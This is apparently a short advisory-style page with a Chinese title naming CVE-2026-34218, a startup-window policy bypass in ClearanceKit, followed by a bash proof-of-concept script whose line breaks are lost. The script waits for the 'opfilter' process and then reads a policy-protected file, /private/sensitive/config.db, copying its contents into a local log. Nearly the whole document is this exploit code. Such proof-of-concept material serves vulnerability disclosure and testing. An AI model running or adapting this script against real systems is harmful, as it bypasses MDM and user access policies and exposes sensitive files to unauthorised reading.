CVE-2026-34218 ClearanceKit启动策略绕过漏洞

#!/bin/bash # PoC for CVE-2026-34218: ClearanceKit Policy Bypass # This script attempts to access a restricted file during the startup window. # Note: This requires the 'ClearanceKit' service to be in the vulnerable startup state. TARGET_FILE="/private/sensitive/config.db" LOG_FILE="clearancekit_poc.log" echo "[*] Waiting for ClearanceKit startup window..." # Monitor process to see if opfilter is running but GUI hasn't interacted yet while true; do if pgrep -x "opfilter" > /dev/null; then echo "[+] opfilter process detected. Attempting to read restricted file..." # Try to read the file that should be blocked by MDM/User policies if [ -r "$TARGET_FILE" ]; then echo "[SUCCESS] Vulnerability confirmed! Read access granted to $TARGET_FILE" | tee -a "$LOG_FILE" cat "$TARGET_FILE" >> "$LOG_FILE" exit 0 else echo "[FAIL] Access denied. Policies might be already loaded." | tee -a "$LOG_FILE" exit 1 fi fi sleep 1 done